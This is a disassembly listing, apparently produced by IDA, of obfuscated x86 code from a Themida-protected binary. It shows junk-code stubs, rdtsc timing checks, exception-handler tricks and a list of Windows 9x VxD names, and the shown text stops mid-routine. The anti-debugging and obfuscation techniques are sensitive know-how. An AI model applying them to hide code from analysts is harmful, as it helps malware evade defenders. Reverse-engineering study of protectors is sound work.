		dd 0B5090000h, 7D12EC1h, 24247C81h, 10000000h, 11C870Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0F3C493C3h, 870F5088h, 0Ch, 7E9h,	0F0DF0400h
		dd 0C21EB576h, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 26F8C350h, 448BF86Ch
		dd 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0E4D0C2C3h, 0AA2B60A2h, 3181757Ah, 0D11E21B5h
		dd 52509007h, 61605250h, 6160310Fh, 310F585Ah, 5E9h, 11DCC000h
		dd 585A5134h, 0F525050h, 685h, 0F525000h, 0F585A31h, 0BA666031h
		dd 5A61BFE7h, 8D899058h, 7D13485h, 68F0Fh, 95890000h, 7D133A9h
		dd 7DBB858Dh, 606007D4h, 4A48D081h, 3DBA2E74h, 617EB9B7h
		dd 6AD0FF61h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 5841C350h, 5FD20EEFh, 0DE9h, 5258F00h
		dd 0F40B8617h, 0DF1E2845h, 66604E6Ah, 0D22CD181h, 440361F9h
		dd 6A2424h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 7D40E9C3h, 0F8FAD612h, 60525090h,	0B25CBF66h
		dd 60310F61h, 0CA8A5E51h, 50585A61h, 10E95250h,	0B8000000h
		dd 103A9CACh, 35166DB2h, 3AFE92ECh, 0F2E4F8Ah, 7E931h
		dd 6CA50000h, 9904D410h, 90585AF9h, 2619B589h, 6AAB07D1h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0A271C353h, 5E96C2Bh, 0E8000000h,	7CDE908Dh
		dd 10C1BD8Dh, 6A07D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h
		dd 0E9EE9DC3h, 0AFB2EA12h, 14058531h, 0ADF507D1h, 319DB589h
		dd 81FC07D1h, 28247Ch, 0F100000h, 10287h, 0F6816000h, 7B50A2DFh
		dd 12E8h, 184D8800h, 0DB88AB50h, 0F35C0CF6h, 312BBDA0h
		dd 0E946113Eh, 6, 8797B5D9h, 615FCF5Fh,	18C88060h, 61DE8B66h
		dd 8870F90h, 60000000h,	0D06DB866h, 5061D98Ah, 12E9h, 400F200h
		dd 3AABEAC5h, 0BE44AAB5h, 0AF50FC9Dh, 905EC271h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C6C35646h, 0E3FD793Ch
		dd 8BFC84A9h, 602C2444h, 6E9h, 5D297D00h, 0E9946FD5h, 10h
		dd 0B67BCBA5h, 82EAC245h, 0E55BDC02h, 9847D953h, 0AE95061h
		dd 5000000h, 0E9707A37h, 9E01FCFCh, 24048904h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E3C35545h, 858DA3B0h
		dd 7D47DBBh, 0D99D8B60h, 6107D119h, 0E960D0FFh,	10h, 9FDFB996h
		dd 3155BE4Ch, 7FC03920h, 9A592E33h, 177D8589h, 36107D1h
		dd 0FC282444h, 0FF5EFCABh, 0D4A6CA8Dh, 0CABD8307h, 7D4A6h
		dd 0C0330A75h, 0B6AAB58Dh, 0E6FF07D4h, 7C81AD56h, 2824h
		dd 0E771000h, 24448B50h, 858D502Ch, 7D47DBBh, 4403D0FFh
		dd 8B972824h, 0C6858ADFh, 8407D4A6h, 3A0474C0h,	574C7507h
		dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
		dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
		dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h,	0D2F7D575h
		dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h,	0FF04C683h
		dd 0D12EA985h, 0FF5DE907h, 0F85EFFFFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0B3C35545h,	7123FAC3h, 0E94995EEh
		dd 16959D89h, 950907D1h, 7D1336Dh, 2EA9858Bh, 8D2907D1h
		dd 7D12745h, 0BD01E0D1h, 7D1164Dh, 78D0Fh, 8D0F0000h, 1
		dd 0C18503F9h, 6A07D110h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 3A20C351h, 223CA15Ch
		dd 6AF62B79h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 2B29C355h, 5AF1356Dh, 0B5892CA6h
		dd 7D12081h, 68D0F96h, 1000000h, 0D10FF585h, 6AAD6607h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 5DADC355h, 14820F31h, 0E9000000h,	0Fh, 0BC386D14h
		dd 0BBA835Ah, 93365EE8h, 0F83307D9h, 6A02E0C1h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 564FC350h, 3193F24Eh, 0D12EB995h, 0D9952907h, 307D115h
		dd 0D1310585h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 2F75902Ah, 606BA75Fh
		dd 2F118509h, 8B6607D1h, 899661C7h, 0D11E21BDh,	9D89AD07h
		dd 7D11965h, 159D8B60h,	8B07D125h, 7C8161DAh, 2424h, 870F1000h
		dd 0EFh, 0E880Fh, 8B600000h, 0D1005995h, 89958B07h, 6107D100h
		dd 11E990h, 5380000h, 183FCECCh, 50710DF2h, 531DF64Ah
		dd 50A0BE71h, 0C38B6660h, 0FF59061h, 189h, 448BFC00h, 6A2824h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0BD797CC3h, 0F90F9CAh, 1588h, 0F8F0F00h, 0E9000000h
		dd 0Ah,	6D0FA743h, 950C8591h, 6050FE7Fh, 0F60C58Ah, 80h
		dd 32B96600h, 906161F9h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0D8C35141h, 98E8F518h, 0E9CDCB57h, 8
		dd 0D858443Ch, 906470BFh, 7DBB858Dh, 6A07D4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0DBEB4C3h
		dd 3F07D5E5h, 0FFF8F5DBh, 0DBD29D0h, 307D133h, 6A242444h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0E766C352h, 95E409C1h, 6037C447h,	0F18D09FCh
		dd 6107D120h, 1C244489h, 16419D09h, 85C607D1h, 7D131B5h
		dd 4085C700h, 7D4A8h, 0C7000000h, 0D4A6CE85h, 7, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 810F893Eh, 7, 1820Fh, 0F8F80000h, 14CD8529h,	6A6107D1h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0C663C355h, 571F87D7h, 80576088h,	0E95E19F7h
		dd 0Ch,	8F15EFA5h, 42725498h, 8AC75DD3h, 0C99D0961h, 0C207D107h
		dd 6A0008h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8BBF4DC3h, 0D1310585h, 89850907h,	4A07D129h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 91C35141h
		dd 0D26BFCABh, 0C5852904h, 2907D110h, 0D11FA1B5h, 60C20307h
		dd 5CD9D89h, 0F38107D1h, 2D67454Dh, 6A9661h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0D701EC3h
		dd 2627DB77h, 0F9CDCFE1h, 0D9B589ADh, 8107D12Bh, 24247Ch
		dd 0F100000h, 0FB87h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 4A619D35h, 0CE9052Dh
		dd 25000000h, 0FA55919Dh, 0AF8BC0C5h, 90726E42h, 0EE960h
		dd 18E10000h, 222AB0F4h, 7F34C727h, 6A6B4907h, 10E9h, 0AE5A000h
		dd 0FCFB8351h, 44C48616h, 30C064A0h, 0F5061D4h,	0A8Bh
		dd 8F0F6000h, 0
; ---------------------------------------------------------------------------
		mov	edx, edi
		popa
		nop
		jle	loc_5C1EA4
		pusha
		pusha
		popa
		add	[ebp+7D13375h],	eax
		popa


loc_5C1EA4:				; CODE XREF: Themida_:005C1E94j
		pusha
		sub	dx, 0FCEEh
		mov	ecx, [ebp+7D1230Dh]
		popa
		mov	eax, [esp+28h]
		push	0
		push	eax
		call	sub_5C1EC0
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1EC0	proc near		; CODE XREF: Themida_:005C1EB8p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5C1EC0	endp

; ---------------------------------------------------------------------------
		dd 93F24E56h, 0E311C5D5h, 0EE9h, 0D880CD00h, 408BE317h
		dd 0DDAA044Fh, 89A40EA9h, 0D11DE5BDh, 8B605007h, 0C68B57F7h
		dd 489615Ah, 0DD858924h, 8D07D12Eh, 0D47DBB85h,	8B666007h
		dd 0C68B66DEh, 0E9D0FF61h, 8, 1B78B48h,	77EA9987h, 0FFFD92E9h
		dd 218D09FFh
; ---------------------------------------------------------------------------
		xor	edx, ecx
		pop	es


loc_5C1F2B:				; CODE XREF: Themida_:loc_5C0D10j
		lea	eax, [ebp+7D4BC77h]
		jmp	loc_5C1F40
; ---------------------------------------------------------------------------
		movsb
		push	cs
		cmp	[esi+7Ch], esi
		nop
		mov	bh, 6Ch
		dec	edx
		dec	edx


loc_5C1F40:				; CODE XREF: Themida_:005C1F31j
		push	eax
		pusha
		jmp	loc_5C1F56
; ---------------------------------------------------------------------------
		db 50h
		dd 21215D1Dh, 0B806503Dh, 0D23AF621h
		db 0D3h, 0ADh
; ---------------------------------------------------------------------------


loc_5C1F56:				; CODE XREF: Themida_:005C1F42j
		js	loc_5C1F62
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax


loc_5C1F62:				; CODE XREF: Themida_:loc_5C1F56j
		popa
		mov	[esp], eax
		stc
		push	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_5C1F79
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1F79	proc near		; CODE XREF: Themida_:005C1F71p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5C1F79	endp

; ---------------------------------------------------------------------------
		rcr	byte ptr [ebp-4A76AD52h], 1
		sbb	[ecx], esi
		rol	dword ptr [edi], 1
		jmp	loc_5C1FA3
; ---------------------------------------------------------------------------
		dd 3A316F38h, 57E075D3h
		db 63h,	15h, 5Bh
; ---------------------------------------------------------------------------


loc_5C1FA3:				; CODE XREF: Themida_:005C1F93j
		mov	eax, [esp]
		push	0
		push	ecx
		call	sub_5C1FB1
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1FB1	proc near		; CODE XREF: Themida_:005C1FA9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5C1FB1	endp

; ---------------------------------------------------------------------------
		icebp
		mov	word ptr [ecx],	cs
		xchg	eax, ebp
		xchg	eax, ebp
		sbb	edx, ecx
		pop	es
		mov	[ebp+7D116EDh],	eax
		push	0
		push	esi
		call	sub_5C1FDA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1FDA	proc near		; CODE XREF: Themida_:005C1FD2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5C1FDA	endp

; ---------------------------------------------------------------------------
		dw 5F9Ah
; ---------------------------------------------------------------------------
		clc
		stosd
		mov	al, 0DBh
		pop	esi
		mov	large fs:0, esp
		push	0
		push	edi
		call	sub_5C2003
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2003	proc near		; CODE XREF: Themida_:005C1FFBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5C2003	endp

; ---------------------------------------------------------------------------
		jmp	short loc_5C205A
; ---------------------------------------------------------------------------
		db 0E5h, 9Dh, 0D1h
		dd 26BEFFFEh, 0BA56858Dh, 6A07D4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 7FDD78C3h, 9D8B6076h
		dd 7D12F69h, 0BE9h, 31811700h, 1960C0B4h, 0B9BA7973h
		db 61h,	89h
; ---------------------------------------------------------------------------


loc_5C205A:				; CODE XREF: Themida_:005C2013j
		pusha
		add	[ecx-2EFF4663h], ecx
		pop	es
		jmp	loc_5C22E2
; ---------------------------------------------------------------------------
		jmp	loc_5C2080
; ---------------------------------------------------------------------------
		fistp	dword ptr [edi-4Dh]
		fcomp	qword ptr [edx+4B98ECBBh]
		jmp	dword ptr [ebp-339CFFD9h]
; ---------------------------------------------------------------------------
		align 4
		dd 507EE667h
; ---------------------------------------------------------------------------


loc_5C2080:				; CODE XREF: Themida_:005C2067j
		sub	[ebp+7D10F91h],	ebx
		mov	ebx, ebx
		call	$+5
		pop	ebp
		sub	ebp, 7D4BA4Fh
		mov	esp, 12FF9Ch
		cmp	dword ptr [ebp+7D12E45h], 0
		jz	short loc_5C20BA
		mov	eax, [ebp+7D11E25h]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+7D12021h]
		mov	byte ptr [eax],	0
		call	dword ptr [ebp+7D13091h]


loc_5C20BA:				; CODE XREF: Themida_:005C20A0j
		pusha
		push	dword ptr [ebp+7D4A2D2h]
		lea	eax, [ebp+7D4A2D6h]
		push	eax
		lea	eax, [ebp+7D4A4CEh]
		push	eax
		call	dword ptr [ebp+7D100B5h]
		add	esp, 0Ch
		popa
		mov	[ebp+7D118B1h],	esi
		pusha
		sbb	bx, 991Fh
		jmp	loc_5C20F7
; ---------------------------------------------------------------------------
		dw 0C2E5h
; ---------------------------------------------------------------------------
		dec	edx
		shl	byte ptr [esi-5AF1A7D6h], 0
		jno	short near ptr loc_5C2140+3
		pop	es


loc_5C20F7:				; CODE XREF: Themida_:005C20E5j
		popa
		push	0
		push	eax
		call	sub_5C2103
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2103	proc near		; CODE XREF: Themida_:005C20FBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5C2103	endp

; ---------------------------------------------------------------------------
		db 6Bh
		dd 609EC6A8h, 68A0Fh, 95890000h, 7D10741h, 16F1858Bh, 8D6107D1h
		dd 0D4A4CEB5h, 15820F07h, 0E9000000h, 10h, 400D5BC4h
; ---------------------------------------------------------------------------


loc_5C2140:				; CODE XREF: Themida_:005C20F4j
		xor	[ebp-11447347h], esp
		jmp	fword ptr [esi]
; ---------------------------------------------------------------------------
		sub	eax, 8D633A61h
		mov	ebp, 7D10CCDh
		push	0
		push	edx
		call	sub_5C215D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C215D	proc near		; CODE XREF: Themida_:005C2155p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5C215D	endp

; ---------------------------------------------------------------------------
		db 58h,	0B1h, 9Eh
		dd 0A17877B4h, 608D1D00h, 2BE1BD8Bh, 0DE907D1h,	4000000h
		dd 95C641ADh, 0E6C1BAF1h, 2D5BA420h, 3E8061h, 52840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 43343BC3h, 0F122C414h, 55BD2929h,	0A407D121h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 7C35747h
		dd 0F4FBBB67h, 0A6E9F5F5h, 0F9FFFFFFh, 0B8h, 8E900h, 55FD0000h
		dd 1A749BFEh, 8F0F93B4h, 0Ch, 6860Fh, 860F0000h, 0
; ---------------------------------------------------------------------------
		stosb
		push	0
		push	edi
		call	sub_5C221C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C221C	proc near		; CODE XREF: Themida_:005C2214p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5C221C	endp

; ---------------------------------------------------------------------------
		enter	0FFFF8B60h, 0B5h
		inc	ecx
		xor	al, 0D1h
		pop	es
		push	ecx
		stc
		pop	edi
		popa
		jmp	loc_5C2249
; ---------------------------------------------------------------------------
		icebp
		inc	esp
		jmp	dword ptr [eax+ebx*8-63E8D495h]
; ---------------------------------------------------------------------------
		dw 58B7h
		db 15h
; ---------------------------------------------------------------------------


loc_5C2249:				; CODE XREF: Themida_:005C2238j
		mov	eax, 7
		mov	[ebp+7D11A19h],	ecx
		mov	dword ptr [ebp+7D13149h], 1
		jz	loc_5C2272
		pusha
		mov	[ebp+7D11D29h],	esi
		mov	edi, [ebp+7D116A5h]
		popa


loc_5C2272:				; CODE XREF: Themida_:005C225Ej
		lea	ecx, [ebp+7D14D0Ah]
		push	0
		push	ebp
		call	sub_5C2283
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2283	proc near		; CODE XREF: Themida_:005C227Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5C2283	endp

; ---------------------------------------------------------------------------
		mov	al, ds:8D89FD0Eh
		jge	short loc_5C22C4
		rol	dword ptr [edi], 1
		jmp	ecx
; ---------------------------------------------------------------------------
		jmp	loc_5C22B5
; ---------------------------------------------------------------------------
		db 0FDh
		dd 3DB6C30Fh, 0BC8E33DFh, 0D13CDED0h, 0F5D981EFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_5C22B5:				; CODE XREF: Themida_:005C229Ej
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
; ---------------------------------------------------------------------------
		dd 0BC81ED81h
; ---------------------------------------------------------------------------


loc_5C22C4:				; CODE XREF: Themida_:005C2298j
		aam	7
		mov	eax, [ebx+0B8h]
		mov	[ebp+7D4A2D2h],	eax
		lea	eax, [ebp+7D4BA48h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5C22E2:				; CODE XREF: Themida_:005C2062j
		push	0
		push	ecx
		call	sub_5C22ED
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C22ED	proc near		; CODE XREF: Themida_:005C22E5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5C22ED	endp

; ---------------------------------------------------------------------------
		db 0A6h, 0FDh, 0BAh
		dd 0FA080C5h, 0C81h, 6880F00h, 31000000h, 0D127618Dh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 58D0198h, 6007D125h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0ABC35747h, 0F9AE72C8h, 0D21F5C18h, 0DBBF0F60h
		dd 612EF180h, 0BE23858Dh, 0BD8907D4h, 7D11069h,	0E9525050h
		dd 0Ah,	0A781357Dh, 4C1DF96Dh, 310F2234h, 0BE9h, 0BB6F4200h
		dd 5DDDB6A3h, 48C48A61h, 489585Ah, 0FF64F924h, 35h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 17249DF6h, 2589648Fh, 0
; ---------------------------------------------------------------------------
		pusha
		add	cx, 0E556h
		or	[ebp+7D12865h],	edx
		popa
		lea	eax, [ebp+7D4BEA4h]
		pusha
		stc
		mov	bx, 5668h
		popa
		mov	[eax+1], esp
		mov	[ebp+7D1334Dh],	ecx
		mov	byte ptr [ebp+7D131B5h], 4Fh
		mov	[ebp+7D10FADh],	edi
		pusha
		sbb	al, 7Ah
		movsx	eax, di
		popa
		push	8E69288Dh
		jmp	loc_5C2413
; ---------------------------------------------------------------------------
		dw 376Bh
		db 90h
		db 0B8h, 0BBh, 4Ah
		db 0CFh, 9Ch, 0CFh
; ---------------------------------------------------------------------------


loc_5C2413:				; CODE XREF: Themida_:005C2405j
		add	dword ptr [esp], 705F4B9Dh
		mov	[ebp+7D119ADh],	esi
		push	dword ptr [ebp+7D10831h]
		cmc
		lea	eax, [ebp+7D4A6EAh]
		or	[ebp+7D122D9h],	eax
		call	eax
		pusha
		jmp	loc_5C2440
; ---------------------------------------------------------------------------
		db 0ECh
		dd 75F39Fh
; ---------------------------------------------------------------------------


loc_5C2440:				; CODE XREF: Themida_:005C2436j
		or	[ebp+7D12EFDh],	esi
		popa
		sub	[ebp+7D130C1h],	ecx
		jmp	loc_5C24E2
; ---------------------------------------------------------------------------
		pusha
		jmp	loc_5C245F
; ---------------------------------------------------------------------------
		dd 0D12C9C3Eh
		db 7Fh,	0DAh, 93h
; ---------------------------------------------------------------------------


loc_5C245F:				; CODE XREF: Themida_:005C2453j
		clc
		popa
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7D4BE2Dh
		mov	eax, [ebp+7D11CC9h]
		mov	[ebp+7D10831h],	eax
		mov	eax, [ebp+7D130F9h]
		mov	[ebp+7D12C01h],	eax
		mov	eax, [ebp+7D12D09h]
		mov	[ebp+7D106B9h],	eax


loc_5C2496:				; CODE XREF: Themida_:005C24DAj
		mov	byte ptr [ebp+7D131B5h], 0
		mov	dword ptr [ebp+7D4A840h], 0
		lea	eax, [ebp+7D4BEA4h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+7D118A9h],	ebx
		clc
		push	0
		push	edx
		call	sub_5C24C9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C24C9	proc near		; CODE XREF: Themida_:005C24C1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5C24C9	endp

; ---------------------------------------------------------------------------
		pop	esp
		jb	short loc_5C2496
		les	esp, [eax+66h]
		mov	ebx, eax
		popa


loc_5C24E2:				; CODE XREF: Themida_:005C244Dj
		mov	esp, 12FF74h
		jmp	loc_5C24F6
; ---------------------------------------------------------------------------
		and	ch, [eax]
		lds	esi, [esi]
		or	[ebp+358B96BDh], ch


loc_5C24F6:				; CODE XREF: Themida_:005C24E7j
		pop	large dword ptr	fs:0
		xor	[ebp+7D1161Dh],	eax
		add	esp, 4
		pusha
		clc
		adc	edx, 6B8DC762h
		popa
		popa
		jmp	short loc_5C2546
; ---------------------------------------------------------------------------
aIfsmgrVkdVmmVw	db 'IFSMGR  VKD     VMM     VWIN32  VXDLDR  ',0
		align 4
		dd 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5C2546:				; CODE XREF: Themida_:005C2510j
		jmp	loc_5C2C26
; ---------------------------------------------------------------------------
		jno	loc_5C2557
		pusha
		mov	di, 0C1D7h
		popa


loc_5C2557:				; CODE XREF: Themida_:005C254Bj
		pusha
		push	0
		push	edi
		call	sub_5C2563
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2563	proc near		; CODE XREF: Themida_:005C255Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5C2563	endp

; ---------------------------------------------------------------------------
		db 0Ch
		dd 0A810F0E9h, 0FC85C775h, 7D4BEh, 0F000000h, 0B8Bh, 0C8816000h
		dd 4C7905B9h, 61D1B70Fh, 0FF5C68Bh, 6AD8B7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0FCFB0C3h
		dd 1188h, 0CE900h, 48190000h, 23EF63D1h, 17C8B694h, 0E8C19A13h
		dd 51006A10h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 363A92B0h, 0C8C166D7h, 0EE908h, 0C0AA0000h
		dd 2052B746h, 63BA2B90h, 0E529954Eh, 0BF008589h, 6A07D4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 6613BCC3h, 6A08CBC1h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 5E09C353h, 5E960h
		dd 66350000h, 619BFCEEh, 0F40FB83h, 6E85h, 0A4B46000h
		dd 5E8h, 64C42600h, 5F5775B4h, 0BD8D6158h, 7D4BED4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0FC35141h, 0ED8060A1h
		dd 0E1816657h, 0E96118E8h, 1C6h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 18h, 8AC35545h, 88509F13h, 54CB8060h
		dd 0B443CB81h, 83610369h, 850F0DFBh, 8Dh, 7E9h,	0C23A0600h
		dd 0C6E15F99h, 0E6816660h, 8A0FEC71h, 2, 8D61D08Bh, 0D4BEDCBDh
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 73A8D9Ah, 60998BDAh, 0DE8h, 8263CE00h, 255AF681h
		dd 4B190822h, 8A0F4FEEh, 0
; ---------------------------------------------------------------------------
		pop	esi
		and	cx, 0C355h
		popa
		jmp	loc_5C286A
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5C274B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C274B	proc near		; CODE XREF: Themida_:005C2743p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5C274B	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0A160B80Fh, 5F19B418h, 1FB83F8h, 62850Fh, 0E9600000h
		dd 11h,	22D9F4BFh, 889FFBB4h, 0FE256E1Fh, 0F3C6F7EBh, 0BD8D6172h
		dd 7D4BEE4h, 7E960h, 411C0000h,	5482FC27h, 0CBE9613Ch
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0A102C355h, 0E81108AAh, 693B5CD4h
		dd 6800Fh, 60600000h, 61616061h, 0F2AFB83h, 6585h, 8E900h
		dd 89DF0000h, 0FAC3B3F4h, 0BD8D7123h, 7D4BEECh,	14E9h
		dd 18C58200h, 35E14C58h, 0A148095Dh, 13E7D8F0h,	76F2432Ah
		dd 60E907h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0CF0412C3h, 0D4011236h, 608F9BC7h
		dd 2840Fh, 5F510000h, 0D98B6651h, 0FB836158h, 34850F27h
		dd 0F9000002h, 0BEF4BD8Dh, 6A07D4h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 15h
; ---------------------------------------------------------------------------


loc_5C286A:				; CODE XREF: Themida_:005C273Bj
		mov	[ebp+7D4BF04h],	edi
		cmc
		mov	ax, cs
		pusha
		mov	esi, edx
		stc
		popa
		and	al, 3
		pusha
		sbb	bx, 0C986h
		mov	ebx, edx
		popa
		or	al, al
		jnz	loc_5C2A33
		push	0
		push	ecx
		call	sub_5C2897
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2897	proc near		; CODE XREF: Themida_:005C288Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5C2897	endp

; ---------------------------------------------------------------------------
		jle	short near ptr loc_5C28B5+1
		and	eax, 0B58DFC1Bh
		aam	0C4h
		aam	7
		push	0
		push	edi


loc_5C28B5:				; CODE XREF: Themida_:005C28A7j
		call	sub_5C28BD
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C28BD	proc near		; CODE XREF: Themida_:loc_5C28B5p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5C28BD	endp

; ---------------------------------------------------------------------------
		aam	0CFh
		push	es
		dec	ebp
		push	esi
		mov	esp, 8BF56058h
		test	[esi-3Bh], esp
		aam	7
		push	0
		push	edx
		call	sub_5C28E7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C28E7	proc near		; CODE XREF: Themida_:005C28DFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
